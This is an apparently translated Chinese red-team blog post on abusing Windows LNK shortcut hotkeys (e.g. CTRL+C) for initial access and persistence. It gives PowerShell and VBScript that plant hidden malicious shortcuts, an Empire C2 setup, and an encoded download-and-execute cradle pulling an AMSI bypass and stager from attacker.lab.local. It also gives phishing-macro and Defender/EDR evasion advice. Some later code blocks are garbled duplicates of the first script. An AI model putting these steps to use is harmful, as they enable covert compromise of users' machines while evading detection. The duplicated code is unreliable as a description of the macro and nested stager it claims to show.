01 基础
宏指令
宏是允许在 Microsoft Office 套件中实现任务自动化的功能。由于任务自动化的广泛应用和可能性,攻击者喜欢自动化他们自己的“任务”也就不足为奇了。防御者意识到这一点,并且往往会部署反制措施,这极大地阻碍对抗期间的宏可用性。我今天要讲的方法应该能为您提供一种巧妙的方法来规避某些保护措施,前提是宏在系统上没有被完全禁用。
LNK 文件
按照微软的说法,LNK文件是Windows用来引用原始文件、文件夹或应用程序的快捷方式或“链接”。在标准用户眼中,这些文件具有有意义的用途,因为它们允许文件组织和整理工作空间。然而,从攻击者的角度来看,LNK文件看起来不同。它们已被高级持续威胁 (APT) 组织滥用于大量记录在案的攻击中,据我所知,它们仍然是网络钓鱼、持久性、有效负载执行和凭据收集的可行选择。
快捷触发键
说到执行,很多人不知道的是,Windows 快捷方式可以用快捷键注册,在本博客中也将其称为“激活键”或“触发键”。
没有触发键的Process Hacker 2 LNK 快捷方式
如果带有快捷触发键的快捷方式被放置在用户的桌面上,则每次调用指定的组合键都会导致快捷方式执行。有了这些知识,我们就可以将快捷触发键设置为常用组合键,例如 CTRL+C、CTRL+V、CTRL+Z 等。如果机器正在被至少间歇性使用快捷键的人使用,我们应该能够在系统上实现任意执行。这种思想是我们攻击方法的核心。
注意:资源管理器只允许以 CTRL+ALT 序列开头的快捷触发键,其他序列需要通过 COM 以编程方式设置(请参阅下一节)。
根据文档,即使快捷方式位于“启动”菜单中,也应该是可触发的。不幸的是,我无法做到这一点。
https://ss64.com/vb/shortcut.html
02 通过 COM 制作恶意 LNK 文件
POWERSHELL
以下 PowerShell 脚本可用于创建带有自定义快捷触发键的恶意快捷方式:
$path = "$([Environment]::GetFolderPath('Desktop'))FakeText.lnk"
$wshell = New-Object -ComObject Wscript.Shell
$shortcut = $wshell.CreateShortcut($path)
$shortcut.IconLocation = "C:WindowsSystem32shell32.dll,70"
$shortcut.TargetPath = "cmd.exe"
$shortcut.Arguments = "/c calc.exe"
$shortcut.WorkingDirectory = "C:"
$shortcut.HotKey = "CTRL+C"
$shortcut.Description = "Nope, not malicious"
$shortcut.WindowStyle = 7
# 7 = Minimized window
# 3 = Maximized window
# 1 = Normal window
$shortcut.Save()
(Get-Item $path).Attributes += 'Hidden' # Optional if we want to make the link invisible (prevent user clicks)
幸运的是,代码并不复杂。
首先,在第 1 行,我们声明了一个指向受害者桌面目录的变量;之后,我们开始慢慢修改快捷方式以满足我们的需求。我们首先给它一个可信的图标,将其设置为执行恶意代码(用于演示目的的 calc.exe),并将窗口样式设置为最小化,以便在执行快捷方式时不会弹出命令提示符。此外,我们可以通过设置 Hidden 属性使其不可见,从而使用户无法看到快捷方式。
VBA, VB脚本
下面的代码具有与 PowerShell 代码相同的功能,尽管是用不同的语言编写的。
Set wshell = CreateObject("WScript.Shell")
Dim path
path = wshell.SpecialFolders("Desktop") & "/FakeText.lnk"
Set shortcut = wshell.CreateShortcut(path)
shortcut.IconLocation = "C:WindowsSystem32shell32.dll,70"
shortcut.WindowStyle = 7
shortcut.TargetPath = "cmd.exe"
shortcut.Arguments = "/c calc.exe"
shortcut.WorkingDirectory = "C:"
shortcut.HotKey = "CTRL+C"
shortcut.Description = "Nope, not malicious"
shortcut.Save
' Optional if we want to make the link invisible (prevent user clicks)
Set fso = CreateObject("Scripting.FileSystemObject")
Set mf = fso.GetFile(path)
mf.Attributes = 2
C#、Python……
多亏了COM,我们可以使用几乎任何语言轻松创建恶意链接文件。对于攻击性的操作,像C#和Python这样的语言会出现在脑海中。然而,探索这些方法取决于读者,因为在这篇博文中讨论它们会不必要地延长篇幅。
结果
上述任一脚本都会在用户桌面上创建一个 .lnk 文件,一旦手动或通过快捷触发键触发,该文件就会运行 calc.exe。
执行时将启动calc.exe的恶意链接文件
执行视频演示(CTRL+C按下)
有用!我会称之为成功!如果您跟着做,您可能会注意到一个“小”警告。遗憾的是,在链接文件上设置快捷触发键会覆盖原始组合键的功能。换句话说,由于我们桌面的快捷方式 CTRL+C 触发键优先于标准的 CTRL+C,因此被利用机器上的复制粘贴现在被破坏了。这不是世界末日,因为这个问题可以(部分)解决,但它仍然是一个轻微的不便,应该牢记在心。
03 演示
初始访问
如果宏没有被受害者明确禁用,我们可以尝试使用在用户桌面上创建不可见的、有害的快捷方式的有效负载来对用户进行网络钓鱼。之后,我们将等待,直到按下我们设置的组合键,这将触发下载 AMSI 绕过并将选择的 C2 加载到内存中的有效载荷。有效载荷下载完成后,C2 的自动“运行任务”功能将从桌面删除快捷方式,从而有效地恢复原始快捷方式的功能。
演示
注意:演示侧重于展示概念验证,而不是展示如何完全规避防御解决方案。作为作者,我知道如果在现实生活中重现以下实验室设置,无数检测设备会像圣诞树一样亮起来。使用工具之前先了解它们!
我的测试实验室由两台机器组成:
主机名 | 描述 |
attacker.lab.local | Empire C2(端口 443) ,staging server(端口 80) |
victim.lab.local | Windows 10 Pro 20H2 |
对于 C2 的选择,我选择了由 BC-Security 维护的 Empire 分支。也就是说,在任何其他框架上重现类似的步骤应该很简单的,不要害怕尝试!
https://github.com/BC-SECURITY/Empire
我们首先启用一个 HTTP 监听:
Empire) > uselistener http
(Empire: listeners/http) > set Name demo
(Empire: listeners/http) > set StagerURI /download/demo
(Empire: listeners/http) > set Host http://attacker.lab.local
(Empire: listeners/http) > set Port 443
(Empire: listeners/http) > execute
[*] Starting listener 'demo'
[+] Listener successfully started!
在下一步中,我们生成一个普通的 stager:
(Empire: listeners/http) > back
(Empire) > usestager multi/launcher
(Empire: stager/multi/launcher) > set Listener demo
(Empire: stager/multi/launcher) > set Base64 false
(Empire: stager/multi/launcher) > set SafeChecks false
(Empire: stager/multi/launcher) > set OutFile /root/demo/www/stager
(Empire: stager/multi/launcher) > execute
[*] Stager output written out to: /root/demo/www/stager
之后,我们将 Empire 设置为自动运行一个任务,一旦收到一个 shell,该任务就会从用户桌面删除恶意快捷方式:
(Empire: stager/multi/launcher) > back
(Empire) > agents
(Empire: agents) > autorun /root/demo/autorun.rc powershell
autorun.rc内容如下图所示:
usemodule management/invoke_script
set ScriptPath /root/demo/autorunscript.txt
set ScriptCmd " "
execute
autorunscript.txt内容如下图所示:
Remove-Item -Force "$([Environment]::GetFolderPath('Desktop'))FakeText.lnk"
最后,我们在任意 Web 目录中包含一个 AMSI 绕过,例如/root/demo/www/stager,将其保存到一个名为 bypass 的文件,运行 python3 http.server 启用80端口,并制作我们自己的 Base64 编码的 stager,它将下载和执行绕过以及有效负载:
echo "iEx(new-object net.webclient).downloadString('http://attacker.lab.local:80/bypass'); iEx(new-object net.webclient).downloadString('http://attacker.lab.local:80/stager');" | iconv -f ASCII -t UTF-16LE | base64 -w0
aQBFAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAGEAdAB0AGEAYwBrAGUAcgAuAGwAYQBiAC4AbABvAGMAYQBsADoAOAAwAC8AYgB5AHAAYQBzAHMAJwApADsAIABpAEUAeAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AbABhAGIALgBsAG8AYwBhAGwAOgA4ADAALwBzAHQAYQBnAGUAcgAnACkAOwAKAA==
一切准备就绪后,我们就可以继续使用以下宏制作一个恶意 Office 文档:
$path = "$([Environment]::GetFolderPath('Desktop'))FakeText.lnk"
$wshell = New-Object -ComObject Wscript.Shell
$shortcut = $wshell.CreateShortcut($path)
$shortcut.IconLocation = "C:WindowsSystem32shell32.dll,70"
$shortcut.TargetPath = "cmd.exe"
$shortcut.Arguments = "/c calc.exe"
$shortcut.WorkingDirectory = "C:"
$shortcut.HotKey = "CTRL+C"
$shortcut.Description = "Nope, not malicious"
$shortcut.WindowStyle = 7
# 7 = Minimized window
# 3 = Maximized window
# 1 = Normal window
$shortcut.Save()
(Get-Item $path).Attributes += 'Hidden' # Optional if we want to make the link invisible (prevent user clicks)
0
在部署文档之前,请注意,根据我的有限测试,当初始 PowerShell 参数包含隐藏窗口属性 (-w hidden) 时,Defender 通常会将任何快捷方式标记为恶意。如果你使用默认不隐藏窗口的框架,你可以通过创建一个“嵌套”的 PowerShell stager 来绕过这个限制,如下所示:
$path = "$([Environment]::GetFolderPath('Desktop'))FakeText.lnk"
$wshell = New-Object -ComObject Wscript.Shell
$shortcut = $wshell.CreateShortcut($path)
$shortcut.IconLocation = "C:WindowsSystem32shell32.dll,70"
$shortcut.TargetPath = "cmd.exe"
$shortcut.Arguments = "/c calc.exe"
$shortcut.WorkingDirectory = "C:"
$shortcut.HotKey = "CTRL+C"
$shortcut.Description = "Nope, not malicious"
$shortcut.WindowStyle = 7
# 7 = Minimized window
# 3 = Maximized window
# 1 = Normal window
$shortcut.Save()
(Get-Item $path).Attributes += 'Hidden' # Optional if we want to make the link invisible (prevent user clicks)
1
或者,也可以在外部 stage 负责隐藏窗口的 PowerShell 进程,这并不理想,但可以完成任务。绝对比拥有一个用户可以随时打开和关闭的最小化 PowerShell 窗口要好得多。
如果您按照指南进行操作,则应该设置以下内容:
端口 443 上的 Empire 侦听器
在暂存后删除 LNK 文件的自动运行脚本
端口 80 上用于 stage 的 Python HTTP 服务器
python web服务器目录中名为bypass的文件
python Web 服务器目录中名为 stager 的文件
打开时运行宏的恶意 Office 文档
如果一切正常,会将恶意文档传输到您的测试机器上。打开文档并启用宏后,您可以验证快捷方式是否已部署到桌面环境中。如果是这样,您可以随时按 CTRL+C 来触发有效载荷并获得一个 Empire shell!
视频演示
为什么这有用?
查看恶意宏的检测方式,可以发现许多 AV 和 EDR 持续监控系统是否存在任何可疑的父子进程关系。在下图中可以看到一种此类关系的示例。
属于 WinWord.exe 的可疑 PowerShell.exe 子进程
以 Microsoft Word 的 WinWord.exe 进程为例,我们可以看到通过 WScript.Shell 在 Word 本身中生成 PowerShell 进程有一个不利的缺点,可能会导致不必要的检测。
对我们来说幸运的是,恶意的快捷激活键在这里可以解决问题。如果触发了上述键,它们会直接在 explorer.exe 下生成一个子进程,而不是 WinWord.exe。这应该会减少噪音,并有望使初始访问更顺畅。
不那么可疑的PowerShell.exe子进程属于explorer.exe
04 持久能力
用户必然会偶尔使用快捷键,这可能会被滥用以实现持久性。不过,我真的没有这种方法的概念证明,因为我只是相信使用触发键进行初始访问更实用。也就是说,获得一个有效的 PoC 并非不可能。如果您使用 CTRL+C 等组合键,则需要确保有效负载已正确互斥,以免每分钟触发一个新的 shell。此外,您还必须担心通过让您的可执行文件调用填充剪贴板的API来恢复原始快捷方式的功能。不用说,这会很快变得复杂。当谈到用户级别的持久性时,我可能会选择不同的方法。
或者,对于那些懒惰的攻击者,还有一个选项可以设置一个不经常使用的快捷键,例如 Captial (CapsLock)、F11 等等。如果这些键中的任何一个不起作用,那么它们就不会引起太多的怀疑,因为用户可以很容易地避免因没有可用的 CapsLock 而产生的轻微烦恼。这是一场赌博。
参考及来源:
https://v3ded.github.io/redteam/abusing-lnk-features-for-initial-access-and-persistence
05 免责&版权声明
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...